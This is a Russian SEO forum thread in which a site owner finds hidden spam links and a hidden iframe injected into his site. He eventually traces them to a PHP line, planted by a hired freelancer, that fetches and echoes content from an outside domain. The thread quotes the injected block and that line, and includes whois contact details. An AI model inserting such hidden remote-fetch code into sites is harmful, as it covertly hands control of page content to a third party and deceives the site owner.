Уже тут обсуждалось, во фрейм но-дисплей чьи-то ссылки

rBD
На сайте с 03.04.2008
Offline
135
rBD
562

Вот собственно кусок кода

<div style="display: none;">

Разработка и <a href="http://sykt.su">seo и оптимизация сайтов</a> ухта, Сыктывкар, Коми<br>

Информация об <a href="http://akva-gold.ru">аквариумы и рыбки</a>.<br>

Ваши <a href="http://youson.ru">сновидения и медитация</a> объяснения и расшифровка<br>

Хобби - <a href="http://knifeout.ru">метание ножей</a>.<br>

Легкий <a href="http://win32.su">заработок на seo, инвайты на xap</a>.<br>

<iframe height="0" width="0" style="visibility: hidden; display: none;" src="http://www.pc1.su/count.html"></iframe><br>

</div>

По whois

domain: WIN32.SU

nserver: ns5.provisov.net.

nserver: ns6.provisov.net.

state: REGISTERED, DELEGATED

person: Private Person

phone: +7 212 220872

e-mail: skalolazz@mail.ru

registrar: RUCENTER-REG-FID

created: 2007.12.06

paid-till: 2010.12.06

Что они какие-то нехорошие вонючки, это понятно.

Но вот как бороться? Где искать бяку? Причем их же сайт о создании сайтов :)

ewg777
На сайте с 04.06.2007
Offline
225
#1

Взлом или скачанный с варезника платный шаблон. Классика.

[Удален]
#2

Еще может быть сторонний скрипт ставили. А бороться - темы и скрипты проверять перед установкой. Если взлом - то борьба со взломом это уже в другой раздел, сами виноваты.

rBD
На сайте с 03.04.2008
Offline
135
rBD
#3

Точно дело не в шаблоне. Т.к. он не с варезника. Скрипт не ставились. Взлом-странно что только на 1 сайте из всего многообразия. Да и показатели сайта практически 0

[Удален]
#4

Неужели вы считаете что виновато НЛО?

При чем тут шаблон не с варезника. Шаблон из паблика или заказан у дизайнера?

rBD
На сайте с 03.04.2008
Offline
135
rBD
#5

Я незнаком с НЛО :)

Сайту не первый год, далеко.

Пользовался услугами программиста по переносу сайта с одного хостинга на другой. Но контакты администратора гс на которые ссылки не совпадают с контактами программиста.

Собственно не ясно как убрать встроенный код. Т.к. не в файле футера, ни в индексе, нигде не нашел вывод кода. Мне лично не ясно как найти и обезвредить :)

[Удален]
#6
администратора гс на которые ссылки не совпадают с контактами программиста.

И что?

Сайту не первый год, далеко.

Возраст то при чем? Особенно если был взлом или прораммист постарался.

Собственно не ясно как убрать встроенный код. Т.к. не в файле футера, ни в индексе, нигде не нашел вывод кода. Мне лично не ясно как найти и обезвредить

Ну раз вам не ясно, то видимо вы не технический специалист. Что мешает заплатить любому прогеру, темболее работа будет стоить копейки и займет, скорее всего, пару минут. А вывод там или закодирован например в base64 (длинная строка рандомных символов, никак не похожая на хтмл или пхп код), или подключается из отдельного файла, если у вас нет особых познаний в технической части, то не удивительно что не разобрались.

Если ссылок небыло до переноса сайта, то скорее всего прогер ваш постарался. Но мог быть и взлом. Хотя все же допускаю вариант, что когда-то давно вы поставили скачанный из интернета шаблон, в который автор\переводчик\мимопроходящий всунул свои ссылки, а заметили это только сейчас. И в этом случае 99% они закодированы, как я написал выше.

rBD
На сайте с 03.04.2008
Offline
135
rBD
#7

Нашел. С уверенностью могу сказать, что это один деятель с форума к которому я обращался, причем оплатив его труд по его расценкам.

Аккуратно вписал код <? echo file_get_contents('http://akva-gold.ru/files/log.txt');?>

Откуда и брались ссылки. Будьте внимательны когда нанимаете исполнителя той или иной работы. Даже не дешевые расценки не дают гарантию, что исполнитель будет делать свою работу качественно и главное честно.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий